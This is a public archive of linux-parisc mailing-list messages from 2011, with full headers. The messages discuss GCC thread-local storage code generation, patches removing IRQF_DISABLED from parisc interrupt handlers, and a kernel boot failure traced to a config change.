To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Fri, 21 Oct 2011 13:42:48 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <4EA1AF18.9010605@bell.net>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net> <BLU0-SMTP701E485C5A8DBAF113D35E97EB0@phx.gbl> <CADZpyizJx5fHwv5aHqoN-u1D95ph6dw8S+cAHKRS=MR6Y0WaPQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319218972 9927 80.91.229.12 (21 Oct 2011 17:42:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Oct 2011 17:42:52 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 21 19:42:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHJ7H-0003Mt-Kp
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Oct 2011 19:42:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753992Ab1JURmq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Oct 2011 13:42:46 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:36684 "EHLO
	mail-09.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753144Ab1JURmq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Oct 2011 13:42:46 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-09.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RHJ7D-0005Jf-2k; Fri, 21 Oct 2011 13:42:43 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <CADZpyizJx5fHwv5aHqoN-u1D95ph6dw8S+cAHKRS=MR6Y0WaPQ@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3997 gmane.linux.debian.ports.hppa:6732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3997>

On 10/21/2011 10:49 AM, Carlos O'Donell wrote:
> On Wed, Oct 19, 2011 at 9:47 PM, John David Anglin<dave.anglin@bell.net>  wrote:
>> I looked at this a bit.  The problem is legitimize_tls_address doesn't work
>> properly. First, GCC doesn't know that the libcall needs r26 and ret0 when the
>> __thread variable is an argument to a call.  Secondly, the implementation of __tls_get_addr
>> clobbers some other call clobbered registers.  I'm thinking the glibc implementation
>> might need to be in assembly language so that the clobbered registers are limited (i.e.,
>> it needs to save registers).   This all seems really ugly...
>>
>> The issues occur in generating PIC code.
> Yes, __tls_get_addr is a normal C function and follows normal function
> register usage.
Yes.  The issue here is expand_call doesn't appear to be aware that 
loading the
address of a __thread variable may require a call.  Thus, it just emits 
an insn to
load r26.  This load is dead because r26 is reloaded for the call to 
__tls_get_addr.

The first argument for the call needs to be saved to a temp, and then 
r26 needs
to be loaded just before the actual call.  This is works fine for normal 
calls.
>
> Why does __tls_get_addr need to be a special function?
>
> Almost all the targets in glibc-ports have C versions of __tls_get_addr.
>
> For example I notice that on Alpha the call to __tls_get_addr is *not*
> done via a emit_library_call_value, instead they use some emit_insn,
> emit_libcall_block and use_reg.
use_reg won't help.  This is attached to the call insn and only comes 
into play
during register allocation.  The problem occurs during rtl expansion.
>
> So it looks like they tamper with the register usage via use_reg
> before the call to __tls_get_addr?
>
> Another example is Sparc which also uses a custom sequence and
> manipulates the used registers.
sparc64 tls support is also broken...  See,
http://www.loria.fr/~zimmerma/software/compilerbugs.html

>
> I think our legitimize_tls_address needs to be rewritten to match
> something like what alpha or sparc has, otherwise we are going to run
> into trouble trying to get emit_library_call_value to work correctly.
>
>

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Fri, 21 Oct 2011 14:11:20 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <4EA1B5C8.7050301@bell.net>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <20111017152358.GA3518@glitch> <CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com> <4E9C6F9E.5000605@bell.net> <BLU0-SMTP701E485C5A8DBAF113D35E97EB0@phx.gbl> <CADZpyizJx5fHwv5aHqoN-u1D95ph6dw8S+cAHKRS=MR6Y0WaPQ@mail.gmail.com> <4EA1AF18.9010605@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1319220683 22389 80.91.229.12 (21 Oct 2011 18:11:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Oct 2011 18:11:23 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 21 20:11:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHJYt-0007Jp-15
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Oct 2011 20:11:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754597Ab1JUSLS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Oct 2011 14:11:18 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:60291 "EHLO
	mail-10.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754353Ab1JUSLS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Oct 2011 14:11:18 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-10.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RHJYq-00052B-1b; Fri, 21 Oct 2011 14:11:16 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <4EA1AF18.9010605@bell.net>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3998 gmane.linux.debian.ports.hppa:6733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3998>

On 10/21/2011 1:42 PM, John David Anglin wrote:
> Yes.  The issue here is expand_call doesn't appear to be aware that 
> loading the
> address of a __thread variable may require a call.  Thus, it just 
> emits an insn to
> load r26.  This load is dead because r26 is reloaded for the call to 
> __tls_get_addr.
It appears this may be caused by treating TLS symbols as legitimate 
constants.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Fri, 21 Oct 2011 14:15:59 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
	<20111017152358.GA3518@glitch>
	<CADZpyixDV_OD+YM+u2EMWqY91u_WtGGMM0J3fAofp99q+OWYnA@mail.gmail.com>
	<4E9C6F9E.5000605@bell.net>
	<BLU0-SMTP701E485C5A8DBAF113D35E97EB0@phx.gbl>
	<CADZpyizJx5fHwv5aHqoN-u1D95ph6dw8S+cAHKRS=MR6Y0WaPQ@mail.gmail.com>
	<4EA1AF18.9010605@bell.net>
	<4EA1B5C8.7050301@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1319220966 24457 80.91.229.12 (21 Oct 2011 18:16:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 21 Oct 2011 18:16:06 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 21 20:16:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHJdQ-0000El-OK
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Oct 2011 20:16:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754353Ab1JUSQA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Oct 2011 14:16:00 -0400
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:60311 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753372Ab1JUSP7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Oct 2011 14:15:59 -0400
Original-Received: by yxl42 with SMTP id 42so1547750yxl.19
        for <linux-parisc@vger.kernel.org>; Fri, 21 Oct 2011 11:15:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=8Bk160q0eipY6NUFYUmMNQBrfyc4kuSqWBVrer+eZfA=;
        b=RofEAr0rLg8Tzm4E39X6aWkFFbp5oqjyh5KA5MUb4pb6csUeCzq3J/3SZubAV/uBmY
         P8zHliG5JwBx3aohyM3D8CpRhuimUiRIWPNnhknaonwqwQ/g8ctIy+AeFMJdlb2uDTMr
         z4M68eAC3qxUZrdfiCEz/Getc5SNynBVpEao8=
Original-Received: by 10.42.161.70 with SMTP id s6mr26378076icx.40.1319220959105; Fri,
 21 Oct 2011 11:15:59 -0700 (PDT)
Original-Received: by 10.42.239.198 with HTTP; Fri, 21 Oct 2011 11:15:59 -0700 (PDT)
In-Reply-To: <4EA1B5C8.7050301@bell.net>
X-Google-Sender-Auth: A1s96IVAytK-RYLVsf3d_0alIeA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3999 gmane.linux.debian.ports.hppa:6734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3999>

On Fri, Oct 21, 2011 at 2:11 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> On 10/21/2011 1:42 PM, John David Anglin wrote:
>>
>> Yes. =A0The issue here is expand_call doesn't appear to be aware tha=
t
>> loading the
>> address of a __thread variable may require a call. =A0Thus, it just =
emits an
>> insn to
>> load r26. =A0This load is dead because r26 is reloaded for the call =
to
>> __tls_get_addr.
>
> It appears this may be caused by treating TLS symbols as legitimate
> constants.

Which they are not in any of the *_DYNAMIC modes, because the dynamic
linker is involved in their placement.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 14/49] parisc: irq: remove IRQF_DISABLED
Date: Sat, 22 Oct 2011 17:56:26 +0800
Lines: 60
Approved: news@gmane.org
Message-ID: <1319277421-9203-15-git-send-email-yong.zhang0@gmail.com>
References: <1319277421-9203-1-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1319277900 17161 80.91.229.12 (22 Oct 2011 10:05:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 22 Oct 2011 10:05:00 +0000 (UTC)
Cc: tglx@linutronix.de, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 22 12:04:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHYRh-000239-D6
	for glpp-linux-parisc@lo.gmane.org; Sat, 22 Oct 2011 12:04:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753864Ab1JVKEw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Oct 2011 06:04:52 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:53113 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753738Ab1JVKEv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Oct 2011 06:04:51 -0400
Original-Received: by mail-iy0-f174.google.com with SMTP id k3so5735732iae.19
        for <multiple recipients>; Sat, 22 Oct 2011 03:04:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=D/Z645Amk42QRe30t4qZYvGVtYGdy7HJbmctHblsjzg=;
        b=j1IRXkupzHD5yOSp1Gc8Xrks+7FTQoLgSu85IO/+4iDU1XGusNxbcyed8E6PiWLn2y
         ipLzylB40HNrbVebxTbkpmhwtmIw3hbcFhn2xdt3GwWiB7wg0kqG9jrUUelS6SOQG6vm
         co/8uiT/DwcuqkIPiywrfgaBGo8LdPTyChgy4=
Original-Received: by 10.43.51.69 with SMTP id vh5mr30219460icb.32.1319277891586;
        Sat, 22 Oct 2011 03:04:51 -0700 (PDT)
Original-Received: from localhost ([118.186.129.169])
        by mx.google.com with ESMTPS id p16sm41460423ibk.6.2011.10.22.03.04.42
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 22 Oct 2011 03:04:50 -0700 (PDT)
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1319277421-9203-1-git-send-email-yong.zhang0@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4000 gmane.linux.kernel:1206364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4000>

Since commit [e58aa3d2: genirq: Run irq handlers with interrupts disabled],
We run all interrupt handlers with interrupts disabled
and we even check and yell when an interrupt handler
returns with interrupts enabled (see commit [b738a50a:
genirq: Warn when handler enables interrupts]).

So now this flag is a NOOP and can be removed.

Signed-off-by: Yong Zhang <yong.zhang0@gmail.com>
---
 arch/parisc/include/asm/floppy.h |    4 ++--
 arch/parisc/kernel/irq.c         |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/include/asm/floppy.h b/arch/parisc/include/asm/floppy.h
index 4ca69f5..f84ff12 100644
--- a/arch/parisc/include/asm/floppy.h
+++ b/arch/parisc/include/asm/floppy.h
@@ -157,10 +157,10 @@ static int fd_request_irq(void)
 {
 	if(can_use_virtual_dma)
 		return request_irq(FLOPPY_IRQ, floppy_hardint,
-				   IRQF_DISABLED, "floppy", NULL);
+				   0, "floppy", NULL);
 	else
 		return request_irq(FLOPPY_IRQ, floppy_interrupt,
-				   IRQF_DISABLED, "floppy", NULL);
+				   0, "floppy", NULL);
 }
 
 static unsigned long dma_mem_alloc(unsigned long size)
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..420676b 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
-- 
1.7.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 36/49] dirvers/parisc: irq: Remove IRQF_DISABLED
Date: Sat, 22 Oct 2011 17:56:48 +0800
Lines: 34
Approved: news@gmane.org
Message-ID: <1319277421-9203-37-git-send-email-yong.zhang0@gmail.com>
References: <1319277421-9203-1-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1319278459 20435 80.91.229.12 (22 Oct 2011 10:14:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 22 Oct 2011 10:14:19 +0000 (UTC)
Cc: tglx@linutronix.de, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 22 12:14:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RHYak-0004zE-84
	for glpp-linux-parisc@lo.gmane.org; Sat, 22 Oct 2011 12:14:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754637Ab1JVKON (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Oct 2011 06:14:13 -0400
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:47030 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754622Ab1JVKOM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Oct 2011 06:14:12 -0400
Original-Received: by mail-iy0-f174.google.com with SMTP id k3so5742452iae.19
        for <multiple recipients>; Sat, 22 Oct 2011 03:14:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=S8gPXlPE9ps4bS2pbTC0LZeLhC1horS4cQAyKNq1OEk=;
        b=FaKi/IJiIu8USNYgIuy935usTv9d94IhZGSdfGtVqZnQbquD+bBEtOr3CTFyAgIFqn
         JV1yTE6cNlMzDDA47W6nrNTmnMPKU72MWpQod+mLXBIuFX6/X8UjCJKRBSnPO7kRIvSO
         zR7vKcAtbxuoB6UobKkQFfpOacjAkhj7D+YzQ=
Original-Received: by 10.42.141.69 with SMTP id n5mr29758729icu.47.1319278452294;
        Sat, 22 Oct 2011 03:14:12 -0700 (PDT)
Original-Received: from localhost ([118.186.129.169])
        by mx.google.com with ESMTPS id n30sm41536958ibl.4.2011.10.22.03.14.04
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 22 Oct 2011 03:14:11 -0700 (PDT)
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1319277421-9203-1-git-send-email-yong.zhang0@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4001 gmane.linux.kernel:1206387
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4001>

Since commit [e58aa3d2: genirq: Run irq handlers with interrupts disabled],
We run all interrupt handlers with interrupts disabled
and we even check and yell when an interrupt handler
returns with interrupts enabled (see commit [b738a50a:
genirq: Warn when handler enables interrupts]).

So now this flag is a NOOP and can be removed.

Signed-off-by: Yong Zhang <yong.zhang0@gmail.com>
---
 drivers/parisc/superio.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index e3b76d4..5e6fd94 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -274,7 +274,7 @@ superio_init(struct pci_dev *pcidev)
 	else
 		printk(KERN_ERR PFX "USB regulator not initialized!\n");
 
-	if (request_irq(pdev->irq, superio_interrupt, IRQF_DISABLED,
+	if (request_irq(pdev->irq, superio_interrupt, 0,
 			SUPERIO, (void *)sio)) {
 
 		printk(KERN_ERR PFX "could not get irq\n");
-- 
1.7.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Wed, 26 Oct 2011 15:02:35 +0200
Lines: 505
Approved: news@gmane.org
Message-ID: <b55e3ed923e7722f57b37099a9071f44.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
    <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
    <20110831154820.GH22818@bombadil.infradead.org>
    <20110831160419.GI22818@bombadil.infradead.org>
    <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
    <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
    <20110906134611.GA25825@bombadil.infradead.org>
    <20110906140029.GB25825@bombadil.infradead.org>
    <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
    <20110906142025.GC25825@bombadil.infradead.org>
    <bae45ceac5dc55d07fb5ab64243b85bc.squirrel@webmail.sf-mail.de>
    <98cf8455f773aecf8ae811a810ff7844.squirrel@webmail.sf-mail.de>
    <1318426901.3027.6.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1319634165 9153 80.91.229.12 (26 Oct 2011 13:02:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 26 Oct 2011 13:02:45 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 26 15:02:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RJ37v-0005li-Oa
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Oct 2011 15:02:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932987Ab1JZNCj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Oct 2011 09:02:39 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43009 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932897Ab1JZNCi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Oct 2011 09:02:38 -0400
Original-Received: (qmail 25886 invoked by uid 81); 26 Oct 2011 13:02:35 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Wed, 26 Oct 2011 15:02:35 +0200
In-Reply-To: <1318426901.3027.6.camel@dabdike.int.hansenpartnership.com>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4002>

> On Wed, 2011-10-12 at 09:26 +0200, Rolf Eike Beer wrote:
>> >> On Tue, Sep 06, 2011 at 09:15:07AM -0500, James Bottomley wrote:
>> >>> It's possible that one of the flushing patches is to blame; I just
>> >>> can't
>> >>> see how.  Most likely is
>> >>>
>> >>> commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
>> >>> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
>> >>> Date:   Thu Apr 14 18:25:21 2011 -0500
>> >>>
>> >>>     [PARISC] only make executable areas executable
>> >>>
>> >>
>> >> This looks promising, the second commit doesn't touch the
>> flush_*_local,
>> >> so I think it's probably not a candidate.
>> >>
>> >> Rolf, can you revert d7dd2ff11b7fcd425aca5a875983c862d19a67ae and see
>> >> what happens?
>> >
>> > What happens is that the system boots and from a first glance seems to
>> > work fine.
>>
>> James, are you going to revert that commit? Or am I the only one that is
>> seeing this?
>
> You're the only one whose seeing this.  It works 32 bit on my C360, so I
> really need to know why and I don't seem to have a means to debug if
> it's C3600 only.  If I revert that commit, we start segfaulting again.

Ok, I think I found the culprit. This change to the .config makes my
machine  boot:

--- kernel-config-parisc-3.1.0  2011-10-26 14:56:42.418487152 +0200
+++ config      2011-10-26 14:56:29.583485965 +0200
@@ -16,6 +16,7 @@
